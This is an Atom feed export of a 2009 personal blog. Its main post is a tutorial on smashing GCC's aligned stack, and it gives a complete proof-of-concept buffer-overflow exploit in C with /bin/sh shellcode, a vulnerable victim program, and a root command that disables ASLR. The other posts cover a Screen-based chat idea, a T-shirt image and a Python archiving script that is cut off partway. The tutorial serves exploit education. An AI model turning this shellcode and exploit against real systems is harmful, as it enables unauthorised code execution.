<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4492029317160260500</id><updated>2012-02-17T05:03:01.257+08:00</updated><title type='text'>S² Works</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>20</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-5921166164062440802</id><published>2009-02-10T21:28:00.002+08:00</published><updated>2009-02-10T21:34:55.266+08:00</updated><title type='text'>Follow up on "Smashing the new stack generated by GCC"</title><content type='html'>&lt;p&gt;
A quick note: the new entrance/exit sequence of the &lt;code&gt;main()&lt;/code&gt; discussed in the post "&lt;a href="http://supersolenoid.blogspot.com/2009/02/smashing-aligned-stack-generated-by-gcc.html"&gt;Smashing the aligned stack generated by GCC&lt;/a&gt;" is nothing new. See this article for more info (esp. Section 5): &lt;a href="http://www.milw0rm.com/papers/151"&gt;&lt;span style="font-style:italic;"&gt;Advanced exploitation in exec-shield (Fedora Core case study)&lt;/span&gt;&lt;/a&gt;.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-5921166164062440802?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/5921166164062440802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=5921166164062440802' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/5921166164062440802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/5921166164062440802'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2009/02/follow-up-on-smashing-new-stack.html' title='Follow up on &quot;Smashing the new stack generated by GCC&quot;'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-1156184509130645706</id><published>2009-02-10T20:54:00.003+08:00</published><updated>2009-02-12T15:14:20.912+08:00</updated><title type='text'>As the temperature goes warmer [in the N hemisphere]...</title><content type='html'>&lt;p&gt;
Print this on your T-shirt!
&lt;/p&gt;

&lt;p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NjUZT8WpbXM/SZF5puj1XSI/AAAAAAAAABY/gXEHHSgdejs/s1600-h/c_fork_cursive_big.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 400px;" src="http://3.bp.blogspot.com/_NjUZT8WpbXM/SZF5puj1XSI/AAAAAAAAABY/gXEHHSgdejs/s400/c_fork_cursive_big.png" border="0" alt="Tell the world you are a C geek!" id="BLOGGER_PHOTO_ID_5301151994171710754" /&gt;&lt;/a&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-1156184509130645706?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/1156184509130645706/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=1156184509130645706' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/1156184509130645706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/1156184509130645706'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2009/02/as-temperature-goes-warmer.html' title='As the temperature goes warmer [in the N hemisphere]...'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_NjUZT8WpbXM/SZF5puj1XSI/AAAAAAAAABY/gXEHHSgdejs/s72-c/c_fork_cursive_big.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-7270662094915797487</id><published>2009-02-05T22:09:00.014+08:00</published><updated>2009-02-15T17:50:08.326+08:00</updated><title type='text'>Smashing the aligned stack generated by GCC</title><content type='html'>&lt;p&gt;
In 1996, Elias Levy a.k.a. "Aleph One" published an article &lt;a href="http://www.phrack.org/issues.html?issue=49&amp;id=14&amp;mode=txt"&gt;&lt;span style="font-style:italic;"&gt;Smashing the Stack for Fun and Profit&lt;/span&gt;&lt;/a&gt; in the Phrack magazine, and the rest is history. Levy's paper greatly popularized the technique that has been known long since the days of the Morris worm.
&lt;/p&gt;

&lt;p&gt;
After so many years, the techniques described in the original paper are falling behind of time. Modern operating systems usually employ complicated schemes in attempt to make attacks more difficult. For example, Linux implements a technique known as Address Space Layout Randomization, which obscures the virtual address space of a process, making it harder to guess the correct place to plant the payload. Moreover, some new compiler features are also making the situation more complicated.
&lt;/p&gt;

&lt;p&gt;
For example, as Craig J. Heffner pointed out in his article &lt;a href="http://www.ethicalhacker.net/content/view/122/2/"&gt;&lt;span style="font-style:italic;"&gt;Smashing the &lt;span style="font-weight:bold;"&gt;Modern&lt;/span&gt; Stack for Fun and Profit&lt;/span&gt;&lt;/a&gt;, GCC by default aligns the stack to 16-byte boundaries. By altering the compiler flag "&lt;code&gt;-mpreferred-stack-boundary=n&lt;/code&gt;" one can choose aligning the stack boundary to &lt;code&gt;2&amp;#8319;&lt;/code&gt;. This leaves a gap between the vulnerable buffer and the target address, breaking many old attack programs.
&lt;/p&gt;

&lt;p&gt;
However, this is still not the full story. If we compare a program compiled by a recent version of GCC and the examples in Heffner's paper, we'll notice a big difference. Namely, the entrance and exit semantics of the &lt;code&gt;main&lt;/code&gt; function have changed. In the Heffner paper, the disassembled program's &lt;code&gt;main&lt;/code&gt; function looks like this:
&lt;div class=myCodeBlock&gt;main:
    pushl   %ebp
    movl    %esp, %ebp
    subl    $12, %esp # Leave place for local variables.
... ...
    movl    $0, %eax  # return 0;
    leave             # "leave" is equivalent to "movl %ebp, %esp" followed by "popl %ebp" 
    ret               # recover %eip&lt;/div&gt;
But a recent compiler will spit out code like this one:
&lt;div class=myCodeBlock&gt;main:
    leal    4(%esp), %ecx
    andl    $-16, %esp
    pushl   -4(%ecx)
    pushl   %ebp
    movl    %esp, %ebp
    pushl   %ebx
    pushl   %ecx
    subl    $16, %esp
... ...
    movl    $0, %eax
    addl    $16, %esp
    popl    %ecx
    popl    %ebx
    popl    %ebp
    leal    -4(%ecx), %esp
    ret&lt;/div&gt;
Note the difference? The new version no longer uses the standard entrance and exit sequence for &lt;code&gt;main()&lt;/code&gt;. The stack pointer is "slewed" to the value before calling the function via the help of auxiliary registers and automatic variables. It then reads the return address stored &lt;span style="font-style:italic;"&gt;there&lt;/span&gt; and put it to &lt;code&gt;%eip&lt;/code&gt; (done by the &lt;code&gt;ret&lt;/code&gt; instruction).
&lt;/p&gt;

&lt;p&gt;
What does this have to do with stack-smashing? Well, with the first program, it is possible to smash the vulnerable buffer by repeating the attacker's malicious return address all the way up the stack and hit the place where the original return address is stored. This is illustrated by Murat Balaban, a Turkish hacker, in the paper &lt;a href="http://www.enderunix.org/docs/eng/bof-eng.txt"&gt;&lt;span style="font-style:italic;"&gt;Buffer Overflows Demystified&lt;/span&gt;&lt;/a&gt;. In Balaban's scheme, the shellcode payload is planted at where the environment variables stay (via the &lt;code&gt;execve()&lt;/code&gt; facility), its address pre-calculated, and the vulnerable stack is "smashed", filled with this address. However, if you try to do this to the second program unaltered, you are likely to fail. This is because the saved value of &lt;code&gt;%ecx&lt;/code&gt;, which is used to "slew" the stack pointer, is smashed first. After that, the stack pointer is loaded with a garbage value.
&lt;/p&gt;

&lt;p&gt;
So what can be done to this? Actually only a small modification to Balaban's exploit (which is good for small buffers) will suffice.
&lt;/p&gt;

&lt;p&gt;
The first step is to overflow the vulnerable buffer with a different value than the address of the shellcode. In the above example, we notice that the stack pointer &lt;code&gt;%esp&lt;/code&gt; is loaded with the value &lt;code&gt;4 + (%ecx)&lt;/code&gt;, where &lt;code&gt;%ecx&lt;/code&gt; itself is loaded by popping from the stack. Knowing this, all we needed to do is to overflow this stack area with some "desired value" &lt;span style="font-style:italic;"&gt;minus four&lt;/span&gt;. This is how we take control over the stack pointer.
&lt;/p&gt;

&lt;p&gt;
However, the stack pointer is only an intermediate goal. Our ultimate target is the instruction pointer. In other words, the address now stored in &lt;code&gt;%esp&lt;/code&gt; must reference a pointer to the shellcode. Only in this way can we take advantage of the &lt;code&gt;ret&lt;/code&gt; instruction at the end of the function and hijack the &lt;code&gt;%eip&lt;/code&gt; to our destination. There are many ways to do it but the easiest is to craft a "bomb with a fuse" -- widen the shellcode by one pointer-width (the "fuse") and store the address to the beginning of the actual shellcode (the "bomb") there. As long as we can dupe &lt;code&gt;%esp&lt;/code&gt; to the fuse, the bomb can be triggered. According to Balaban's paper, since we can calculate the exact address of the shellcode, we can calculate the location of this "fuse" too.
&lt;/p&gt;

&lt;p&gt;
This scheme is carried out in the following example. Before you proceed with it, there are some notes I would like to put down first.
&lt;ul&gt;
    &lt;li&gt;This example is very simplistic. It is only a proof-of-concept. The victim program in this example is extremely simplified.&lt;/li&gt;
    &lt;li&gt;This only works with the &lt;code&gt;main&lt;/code&gt; function. Other functions are not compiled like this. You don't need this either, if you specify &lt;code&gt;-mpreferred-stack-boundary=2&lt;/code&gt; when compiling the victim program.&lt;/li&gt;
    &lt;li&gt;The code tries to pretend it's 64-bit aware but it's not. There's a magic number &lt;code&gt;0xbffffffa&lt;/code&gt; taken from Balaban's paper which I believe is 32-bit specific.&lt;/li&gt;
    &lt;li&gt;This doesn't work with protection mechanisms like ASLR. If possible, try &lt;div class=myCodeBlock&gt;# echo "0" &gt; /proc/sys/kernel/ramdomize_va_space &lt;/div&gt; as root user. I experiment with these hacks in an Arch Linux virtual machine with ASLR turned off.&lt;/li&gt;
    &lt;li&gt;Some part of this code is also based on an example (&lt;code&gt;exploit2.c&lt;/code&gt;) in Ch. 7 of the book &lt;span style="font-style:italic;"&gt;Gray Hat Hacking: the Ethical Hacker's Handbook&lt;/span&gt;. The original code has a bug -- the &lt;code&gt;execle&lt;/code&gt; call seems to be a mix-up of &lt;code&gt;execve&lt;/code&gt; and &lt;code&gt;execle&lt;/code&gt;. It is corrected in the code below.&lt;/li&gt;
    &lt;li&gt;The code is not general-purpose, and is very bloated and very ugly.&lt;/li&gt;
&lt;/ul&gt;
&lt;/p&gt;

&lt;p&gt;
To carry out the exploit, first compile &lt;span style="font-weight:bold;"&gt;victim.c&lt;/span&gt;, and then compile &lt;span style="font-weight:bold;"&gt;exploit.c&lt;/span&gt; and &lt;span style="font-weight:bold;"&gt;cmdline.c&lt;/span&gt; to generate the exploiting code, using the header &lt;span style="font-weight:bold;"&gt;cmdline.h&lt;/span&gt;. Use the exploit program like this:
&lt;div class=myCodeBlock&gt;$ ./exploit ./victim&lt;/div&gt;
If the exploit crashes, please experiment with the &lt;code&gt;-p&lt;/code&gt; switch. Usually you need it to control the padding before the buffer. The &lt;code&gt;-a&lt;/code&gt; option is 4 by default to match the behavior of GCC. If set it to 0, you can also use it to attack a victim compiled with &lt;code&gt;-mpreferred-stack-boundary=2&lt;/code&gt;. See the output of &lt;code&gt;--help&lt;/code&gt;.
&lt;/p&gt;

&lt;p&gt;
The code itself explains.
&lt;/p&gt;

&lt;p&gt;
&lt;span style="font-weight:bold;"&gt;victim.c&lt;/span&gt;
&lt;div class="mySHJSContainer"&gt;&lt;pre class="sh_c"&gt;#include &amp;lt;string.h&amp;gt;
int main(int argc, char *argv[]) {
    char buff[10];
    strcpy(buff, argv[1]);
    return 0;
}
&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;span style="font-weight:bold;"&gt;exploit.c&lt;/span&gt;
&lt;div class="mySHJSContainer"&gt;&lt;pre class="sh_c"&gt;#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;error.h&amp;gt;
#include "cmdline.h"

#define STARTADDR    ( (size_t)(0xbffffffa) )

char shellcode[] =
    /* "\xcc" */    /* trace mark for debugging */ 
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";        /* start a shell */


int main(int argc, char *argv[]) {
    /* config parameters */
    config_t config;

    void **ptr;        /* movable pointer to be disposed */
    void *addr;        /* the start address of payload */
    void *fillpattern;    /* repeated address to fill the buffer */
    char *payload;    /* payload (shellcode and optionally the "fuse") */
    char *p;        /* repeated address (with optional padding) */
    unsigned int i;
    size_t sc_len = strlen(shellcode);    /* shell code length */
    size_t bufferlen;

    char *e_argv[3];
    char *e_envp[2];

    /* get config info */
    if (getopt_long_wrapper(&amp;amp;config, argc, argv) != 0) {
        perror("getopt_long_wrapper");
        exit(EXIT_FAILURE);
    }

    /* allocate space for the payload and the repeated address */
    if (config.filleradj == 0) {
        /* no need to adj., no need to add fuse */
        payload = shellcode;
        addr = (void *)(STARTADDR - strlen(config.victim) - sc_len);
        fillpattern = addr;
    } else {
        /* malloc space for fuse and shellcode */
        if (!(payload = (char *)malloc(POINTER_WIDTH + sc_len + (size_t)1))) {
            /* malloc failed */
            perror("malloc");
            exit(EXIT_FAILURE);
        }
        /* plant the fuse and the bomb */
        addr = (void *)(STARTADDR - strlen(config.victim)    \
            - (sc_len + POINTER_WIDTH));
        ((void **)payload)[0] = (void *)((size_t)addr + POINTER_WIDTH);
        memmove((void *)((size_t)payload + POINTER_WIDTH), shellcode,    \
            sc_len + (size_t)1);
        fillpattern = (void *)((size_t)addr + (size_t)config.filleradj);
    }

    fprintf(stderr, "[***] Payload address to be %p in new process.\n", addr);
    fprintf(stderr, "[***] Filling buffer with pattern %p\n", fillpattern);
    /* allocate for repeated address */
    bufferlen = config.buffer_efflen + config.padding;
    if (!(p = (char *)malloc(bufferlen))) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }
    memset((void *)p, 'B', config.padding);
    ptr = (void **)(p + config.padding);
    for (i = 0; i &amp;lt; config.buffer_efflen; i += POINTER_WIDTH)
        *ptr++ = fillpattern;

    e_argv[0] = config.victim;
    e_argv[1] = p;
    e_argv[2] = NULL;

    e_envp[0] = payload;
    e_envp[1] = NULL;

    execve(config.victim, e_argv, e_envp);
    perror("execve");
    exit(EXIT_FAILURE);
}&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;span style="font-weight:bold;"&gt;cmdline.c&lt;/span&gt;
&lt;div class="mySHJSContainer"&gt;&lt;pre class="sh_c"&gt;#include "cmdline.h"

char usage_str[] = "usage: exploit"
        " -h | [-l length] [-p padding] [-a adj] victim\n"
        "-h, --help          display this help and exit;\n"
        "-l, --length  LEN   use LEN * (size of pointer) bytes to overflow the buffer\n"
        "                    default: 40 on 32-bit and 20 on 64-bit.\n"
        "-p, --padding PAD   use padding in the first PAD bytes of buffer\n"
        "                    default: 2.\n"
        "-a, --adjust  ADJ   adjust the pattern used to fill the buffer\n"
        "                    default: 4.\n";

const char * const short_options = "hl:p:a:";
const struct option long_options[] = {
    {"help", 0, NULL, 'h'},
    {"length", 1, NULL, 'l'},
    {"padding", 1, NULL, 'p'},
    {"adjust", 1, NULL, 'a'},
    {NULL, 0, NULL, 0}
};
 
int getopt_long_wrapper(config_t *config, int argc, char *argv[]) {
    /* wrapper for getopt_long */
    int next_option;
    int ic;
    
    /* default values */
    config-&amp;gt;buffer_efflen = (size_t)160;
    config-&amp;gt;padding = (size_t)2;
    config-&amp;gt;victim = NULL;
    config-&amp;gt;filleradj = 4;
  
    do {
        next_option = getopt_long(argc, argv,
            short_options, long_options, NULL);
        switch (next_option) {
            case 'h':
                show_usage(stdout, EXIT_SUCCESS);
                break;

            case 'l':
                ic = atoi(optarg);
                if (VALID_INTOPT(ic, LEN_LLIMIT))
                    config-&amp;gt;buffer_efflen = POINTER_WIDTH * (size_t)ic;
                else
                    show_usage(stderr, EXIT_FAILURE);
                break;

            case 'p':
                ic = atoi(optarg);
                if (VALID_INTOPT(ic, PAD_LLIMIT))
                    config-&amp;gt;padding = (size_t)ic;
                else
                    show_usage(stderr, EXIT_FAILURE);
                break;
    
            case 'a':
                ic = atoi(optarg);
                if (VALID_ADJ(ic))
                    config-&amp;gt;filleradj = ic;
                else
                    show_usage(stderr, EXIT_FAILURE);
                break;
    
            case '\?':
                show_usage(stderr, EXIT_FAILURE);
                break;
    
            case -1:
                break;
    
            default:
                /* shouldn't happen */
                return -1;
        }
    } while (next_option != -1);

    if (argv[optind] == NULL)
        show_usage(stderr, EXIT_FAILURE);
    else
        config-&amp;gt;victim = argv[optind];

    return 0;
}


void show_usage(FILE *stream, int exit_code) {
    fprintf(stream, usage_str);
    exit(exit_code);
}&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;span style="font-weight:bold;"&gt;cmdline.h&lt;/span&gt;
&lt;div class="mySHJSContainer"&gt;&lt;pre class="sh_c"&gt;#ifndef FILE_CMDLINE_H
#define FILE_CMDLINE_H

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;getopt.h&amp;gt;

#define POINTER_WIDTH            ( sizeof(void *) )
#define STRIDE_ULIMIT            ( 1024 )
#define LEN_LLIMIT               ( 1 )
#define PAD_LLIMIT               ( 0 )
#define VALID_INTOPT(x, LLIM)    ( ((x) &amp;gt;= (LLIM)) &amp;amp;&amp;amp; ((x) &amp;lt;= (STRIDE_ULIMIT)) )
#define VALID_ADJ(x)             ( (x) &amp;lt;= 0x10000000 )

typedef struct config_info {
    size_t buffer_efflen;    /* effective length of filler buffer in bytes */
    size_t padding;    /* filler padding length in bytes */
    char *victim;    /* victim program name */
    int filleradj;
} config_t;

int getopt_long_wrapper(config_t *config, int argc, char *argv[]);

void show_usage(FILE *stream, int exit_code);

#endif    /* FILE_CMDLINEOPTS_H */
&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-7270662094915797487?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/7270662094915797487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=7270662094915797487' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/7270662094915797487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/7270662094915797487'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2009/02/smashing-aligned-stack-generated-by-gcc.html' title='Smashing the aligned stack generated by GCC'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-2615661787924946860</id><published>2009-02-02T22:57:00.007+08:00</published><updated>2009-02-02T23:47:11.858+08:00</updated><title type='text'>Using SSH and GNU Screen as an IM client</title><content type='html'>&lt;p&gt;
&lt;a href="http://www.gnu.org/software/screen/"&gt;GNU Screen&lt;/a&gt; is damn cool old-skool stuff. It can do anything. It makes you the &lt;a href="https://secure.wikimedia.org/wikipedia/en/wiki/Kwisatz_Haderach"&gt;&lt;span style="font-style:italic;"&gt;Kwisatz Haderach&lt;/span&gt;&lt;/a&gt;, the one who can be many places at once (with apology to Frank Herbert).
&lt;/p&gt;

&lt;p&gt;
And of course it can be [ab]used to do wacky stuff. One idea I came up with when writing a tutorial about Screen is an instant messaging client. Well not exactly a "client" in its technical sense but quite close.
&lt;/p&gt;

&lt;p&gt;
I call this one SP2PALRIM, which stands for "Secure, Peer-to-Peer, Actually Local, Remote Instant Messaging". The idea is illustrated in the screenshot below, taken for the prototype implementation. Because I have only one box at hand, I created a virtual machine and connected to it through SSH.
&lt;/p&gt;

&lt;p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_NjUZT8WpbXM/SYcN4rTmoPI/AAAAAAAAABQ/XCR_55UpqR8/s1600-h/Screenshot-9.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_NjUZT8WpbXM/SYcN4rTmoPI/AAAAAAAAABQ/XCR_55UpqR8/s400/Screenshot-9.png" border="0" alt="IM via SSH and GNU Screen" id="BLOGGER_PHOTO_ID_5298218753973461234" /&gt;&lt;/a&gt;
In this example, we hired the famous characters, &lt;a href="https://secure.wikimedia.org/wikipedia/en/wiki/Alice_and_bob"&gt;Alice and Bob&lt;/a&gt;, as our beta testers (How can an SSH story go without Alice and Bob?). Alice was typing from the guest OS (smaller window in front) while Bob was from the host OS. Bob wanted to IM Alice so he SSHed in and joined in a Screen session. This session controlled two windows. Each of them took one and typed from it. Here, both of them chose to place the "sent messages" on top of "received messages".
&lt;/p&gt;

&lt;p&gt;
Well, you can see this model has quite a few deficiencies. It's only a prototype. However, you see the idea.
&lt;/p&gt;

&lt;p&gt;
A possible improvement will involve a third window -- the "channel", to which Alice and Bob write in the same time, so it looks like a real conversation rather than two individuals talking to themselves separately. Of course this "channel" can be easily logged into a file.
&lt;/p&gt;

&lt;p&gt;
But before I go on to implement this wonderful, revolutionary IM program I'll have to get out of here...
&lt;/p&gt;

&lt;p&gt;
P.S. What happened the Screen tutorial aforementioned? Well it was too bad to deserve a link here. On a completely unrelated note, the directory name in the image above is a typo. There should have been an "r" in it.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-2615661787924946860?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/2615661787924946860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=2615661787924946860' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/2615661787924946860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/2615661787924946860'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2009/02/using-ssh-and-gnu-screen-as-im-client.html' title='Using SSH and GNU Screen as an IM client'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_NjUZT8WpbXM/SYcN4rTmoPI/AAAAAAAAABQ/XCR_55UpqR8/s72-c/Screenshot-9.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-1665548480530136866</id><published>2009-01-15T16:11:00.013+08:00</published><updated>2009-02-01T19:58:13.426+08:00</updated><title type='text'>Archiving script for multiple directories.</title><content type='html'>&lt;p&gt;
C4talyst at FedoraForum.org posted a question (&lt;a href="http://forums.fedoraforum.org/showpost.php?p=1149389&amp;postcount=7"&gt;link to my discussion&lt;/a&gt;) about file archiving scripts. I tried making one, just for fun.
&lt;/p&gt;

&lt;p&gt;
&lt;div class="mySHJSContainer"&gt;&lt;pre class="sh_python"&gt;#!/usr/bin/env python
# Copyright (c) 2009, Cong Ma &lt;congma@users.sourceforge.net&gt;
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright notice,
#      this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#    * None of the names of its contributors may be used to endorse or
#      promote products derived from this software without specific prior
#      written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""A python script that invokes tar and gzip to archive files. See the output
of the -h option for documentation.

"""
# TODO:
#   * Too dependent on certain versions of "tar"
#   * Too dumb to skip empty source files
#   * Performance horrible if recursion gets deep
#   * Configurability too limited
import subprocess
import os
import stat
import os.path
import sys
import optparse
import time


# Custom return codes.
# This script tries to continue operation, instead of to fail early, when an
# exception occurs. The return code of this script is and indication of what
# happens during operation, alongside with the messages sent to standard error.
# The actual return code can be the bitwise OR'ed result of the following
# flags. If a flag is present in the final return code, it indicates the
# corresponding problem has happened at least once during the operation.
RC_TABLE = { "success": 0x00,           # clean record
        "badargs": 0x01,                # invalid arguments passed
        "notadir": 0x02,                # SRC_DIR not a directory
        "childfail": 0x04,              # child process unsuccessful exit
        "mkdirfail": 0x08,              # mkdir() failure
        "chmodfail": 0x10,              # chmod() failure
        "openfail": 0x20,               # open() failure
        }
# Global err number
GLOB_ERRNO = RC_TABLE["success"]


class MyOptionParser(optparse.OptionParser):
    """Custom class extending optparser.OptionParser to make sure
    the desired value is returned when the program fails because of
    wrong argument list.

    """
    def exit(self, status=RC_TABLE["badargs"], msg=None):
        """Override superclass' exit() so that always return the desired
        value.

        """
        global GLOB_ERRNO
        if msg:
            _warn(msg)
        GLOB_ERRNO |= status
        sys.exit(GLOB_ERRNO)


def _warn(msg):
    """Dumb implementation of warning output."""
    print &gt;&gt; sys.stderr, msg
    return None


def getcmdlineparser():
    """Return a command-line parser for the main procedure."""
    usage_msg = "Usage: %prog -s SRC_DIR [-k NUM] [-u SUFFIX] [-a ARCHIVE_SUFFIX]\n"\
            "       %prog -h\n\n"\
            "This program is used to make separate archives for directory\n"\
            "contents.\n\n"\
            "Example:\n"\
            "  %prog -s foo/ -u baz/quux -k 1 -a save\n"\
            "will archive all directories foo/*/baz/quux/\n"\
            "to foo/*/baz/quux/save\n"

    parser = MyOptionParser(usage=usage_msg)

